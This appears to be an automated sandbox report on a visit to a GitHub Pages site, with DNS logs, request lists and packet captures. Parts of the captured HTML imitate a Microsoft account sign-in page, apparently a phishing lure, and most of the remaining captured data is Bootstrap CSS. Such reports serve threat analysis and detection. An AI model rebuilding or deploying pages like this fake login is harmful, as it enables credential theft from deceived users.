Aug 30, 2024 00:19:54.747685909 CEST	1.1.1.1	192.168.2.4	0xb671	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.747685909 CEST	1.1.1.1	192.168.2.4	0xb671	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.747811079 CEST	1.1.1.1	192.168.2.4	0xb6d6	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.755466938 CEST	1.1.1.1	192.168.2.4	0x53d5	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.755816936 CEST	1.1.1.1	192.168.2.4	0xf54d	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.755816936 CEST	1.1.1.1	192.168.2.4	0xf54d	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:54.757023096 CEST	1.1.1.1	192.168.2.4	0xf327	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.757023096 CEST	1.1.1.1	192.168.2.4	0xf327	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.757484913 CEST	1.1.1.1	192.168.2.4	0x6d65	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.757484913 CEST	1.1.1.1	192.168.2.4	0x6d65	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:54.765458107 CEST	1.1.1.1	192.168.2.4	0x189b	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.765458107 CEST	1.1.1.1	192.168.2.4	0x189b	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:56.305859089 CEST	1.1.1.1	192.168.2.4	0xf6d8	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:56.305859089 CEST	1.1.1.1	192.168.2.4	0xf6d8	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:56.305859089 CEST	1.1.1.1	192.168.2.4	0xf6d8	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:56.305874109 CEST	1.1.1.1	192.168.2.4	0xd1ca	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:56.305874109 CEST	1.1.1.1	192.168.2.4	0xd1ca	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:20:04.816080093 CEST	1.1.1.1	192.168.2.4	0xb0d5	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:20:04.816080093 CEST	1.1.1.1	192.168.2.4	0xb0d5	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

l9sa.github.io

https:

cdnjs.cloudflare.com

maxcdn.icons8.com

logincdn.msauth.net

stk.hsprotect.net

collector-pxzc5j78di.hsprotect.net

acctcdn.msauth.net

mem.gfx.ms

js.monitor.azure.com

aadcdn.msauth.net

aadcdn.msftauth.net

logincdn.msftauth.net

fs.microsoft.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	185.199.109.153	80	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 00:19:15.628391027 CEST	429	OUT	GET / HTTP/1.1 Host: l9sa.github.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Aug 30, 2024 00:19:16.085978031 CEST	699	IN	HTTP/1.1 301 Moved Permanently Connection: keep-alive Content-Length: 162 Server: GitHub.com Content-Type: text/html permissions-policy: interest-cohort=() Location: https://l9sa.github.io/ X-GitHub-Request-Id: F2E4:16C9:207452D:249D51F:66D0F3E3 Accept-Ranges: bytes Age: 0 Date: Thu, 29 Aug 2024 22:19:16 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740071-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724969956.031929,VS0,VE12 Vary: Accept-Encoding X-Fastly-Request-ID: b1146b16879217b46b4c2b20a8590b75b5bb4a9b Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Aug 30, 2024 00:20:01.097031116 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	185.199.109.153	80	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 00:20:00.636715889 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	185.199.108.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:16 UTC	657	OUT	GET / HTTP/1.1 Host: l9sa.github.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:16 UTC	734	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3832 Server: GitHub.com Content-Type: text/html; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Tue, 07 Nov 2023 13:01:40 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "654a3534-ef8" expires: Thu, 29 Aug 2024 22:29:16 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 9AB7:197EDF:40FC96A:48D9B31:66D0F3E3 Accept-Ranges: bytes Age: 0 Date: Thu, 29 Aug 2024 22:19:16 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740057-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724969957.634115,VS0,VE18 Vary: Accept-Encoding X-Fastly-Request-ID: 38dd9340980d30e01cb6ef8c22e7f91a7fdfa461
2024-08-29 22:19:16 UTC	1378	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 4d 69 63 72 6f 73 6f 66 74 20 61 63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 22 20 73 69 7a 65 73 3d 22 32 31 Data Ascii: <!DOCTYPE html><html><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no"> <title>Sign in to your Microsoft account</title> <link rel="icon" type="image/svg+xml" sizes="21
2024-08-29 22:19:16 UTC	1378	IN	Data Raw: 6f 75 6e 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 67 6e 75 70 2e 6c 69 76 65 2e 63 6f 6d 2f 3f 6c 69 63 3d 31 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 30 30 36 37 62 38 3b 22 3e 43 72 65 61 74 65 20 4f 6e 65 21 3c 2f 61 3e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 73 69 67 6e 49 6e 53 65 63 75 72 69 74 79 4b 65 79 22 20 63 6c 61 73 73 3d 22 66 69 65 6c 64 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 65 6e 2d 75 73 2f 68 65 6c 70 2f 34 34 36 33 32 31 30 2f 77 69 6e 64 6f 77 73 2d 31 30 2d 73 69 67 6e 2d 69 6e 2d 6d 69 63 72 6f 73 6f 66 74 2d 61 63 63 6f 75 6e 74 2d 77 69 6e 64 6f 77 73 2d 68 65 6c 6c 6f 2d 73 65 Data Ascii: ount" href="https://signup.live.com/?lic=1" style="color: #0067b8;">Create One!</a></p> <p id="signInSecurityKey" class="field"><a href="https://support.microsoft.com/en-us/help/4463210/windows-10-sign-in-microsoft-account-windows-hello-se
2024-08-29 22:19:16 UTC	1076	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 46 6f 72 67 6f 64 50 77 64 22 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 3c 2f 61 3e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 53 69 67 6e 57 69 74 68 4b 65 79 22 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e 53 69 67 6e 20 69 6e 20 77 69 74 68 20 57 69 6e 64 6f 77 73 20 48 65 6c 6c 6f 20 6f 72 20 61 20 73 65 63 75 72 69 74 79 20 6b 65 79 3c 2f 61 3e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 62 74 6e 53 69 67 6e 49 6e 4c 6f 63 61 74 69 6f 6e 22 3e 3c 62 75 74 74 6f 6e 20 69 64 3d 22 62 74 6e 53 69 67 6e 49 6e 22 20 63 6c 61 73 73 3d 22 73 75 62 6d 69 74 Data Ascii: <p id="ForgodPwd"><a href="#">Forgot password?</a></p> <p id="SignWithKey"><a href="#">Sign in with Windows Hello or a security key</a></p> <p id="btnSignInLocation"><button id="btnSignIn" class="submit

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	104.17.25.14	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:17 UTC	587	OUT	GET /ajax/libs/twitter-bootstrap/4.5.0/css/bootstrap.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://l9sa.github.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:17 UTC	945	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:17 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5ebae359-27293" Last-Modified: Tue, 12 May 2020 17:56:41 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 222496 Expires: Tue, 19 Aug 2025 22:19:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RPnbuiCvrFYGB88iBO7WRaU7pjKzzm5KpYNaJ%2FYBkAcE2n6IYrGuD80LtXw23ZTi2wer4fgnCzu4TLyCjWeXZCf2YEaxH1xJYa9B9VzY%2BmPMUItoOVQ3PIL5czxXx5y%2BIMdGDlQw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8bafebf9bb86439d-EWR alt-svc: h3=":443"; ma=86400
2024-08-29 22:19:17 UTC	424	IN	Data Raw: 33 39 38 36 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 Data Ascii: 3986/! Bootstrap v4.5.0 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors * Copyright 2011-2020 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#661
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 3a 23 33 34 33 61 34 30 3b 2d 2d 70 72 69 6d 61 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 78 3b 2d 2d Data Ascii: :#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 73 6b 69 70 2d 69 6e 6b 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 73 6b 69 70 2d 69 6e 6b 3a 6e 6f 6e 65 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 Data Ascii: ation:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1r
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 72 6f 6c 65 3d 62 75 74 74 6f 6e 5d 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 73 65 6c 65 63 74 7b 77 6f 72 64 2d 77 72 61 70 3a 6e 6f 72 6d 61 6c 7d 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 Data Ascii: n,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}[type=button],[type=reset],[type=submi
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 6d 7d 2e 68 34 2c 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 7d 2e 68 35 2c 68 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 68 36 2c 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 2e 6c 65 61 64 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 7d 2e 64 69 73 70 6c 61 79 2d 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 36 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 Data Ascii: m;font-weight:500;line-height:1.2}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:3
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 6f 72 3a 69 6e 68 65 72 69 74 7d 6b 62 64 7b 70 61 64 64 69 6e 67 3a 2e 32 72 65 6d 20 2e 34 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 72 65 6d 7d 6b 62 64 20 6b 62 64 7b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 70 72 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 7d 70 72 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 77 6f 72 64 2d 62 72 65 61 6b Data Ascii: or:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 63 6f 6c 2d 31 30 2c 2e 63 6f 6c 2d 31 31 2c 2e 63 6f 6c 2d 31 32 2c 2e 63 6f 6c 2d 32 2c 2e 63 6f 6c 2d 33 2c 2e 63 6f 6c 2d 34 2c 2e 63 6f 6c 2d 35 2c 2e 63 6f 6c 2d 36 2c 2e 63 6f 6c 2d 37 2c 2e 63 6f 6c 2d 38 2c 2e 63 6f 6c 2d 39 2c 2e 63 6f 6c 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 6c 67 2c 2e 63 6f 6c 2d 6c 67 2d 31 2c 2e 63 6f 6c 2d 6c 67 2d 31 30 2c 2e 63 6f 6c 2d 6c 67 2d 31 31 2c 2e 63 6f 6c 2d 6c 67 2d 31 32 2c 2e 63 6f 6c 2d 6c 67 2d 32 2c 2e 63 6f 6c 2d 6c 67 2d 33 2c 2e 63 6f 6c 2d 6c 67 2d 34 2c 2e 63 6f 6c 2d 6c 67 2d 35 2c 2e 63 6f 6c 2d 6c 67 2d 36 2c 2e 63 6f 6c 2d 6c 67 2d 37 2c 2e 63 6f 6c 2d 6c 67 2d 38 2c 2e 63 6f 6c 2d 6c 67 2d 39 2c 2e 63 6f 6c 2d 6c 67 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 6d 64 2c 2e 63 6f 6c 2d 6d 64 2d 31 2c 2e 63 6f 6c Data Ascii: col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 32 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 36 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 31 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 33 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 32 35 25 7d 2e 63 6f 6c 2d 34 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 35 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 34 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 34 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 34 31 2e 36 Data Ascii: 2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.6
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 74 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 31 2e 36 36 36 36 36 37 25 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 63 6f 6c 2d 73 6d 7b 2d 6d 73 2d 66 6c 65 78 2d Data Ascii: t-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-ms-flex-
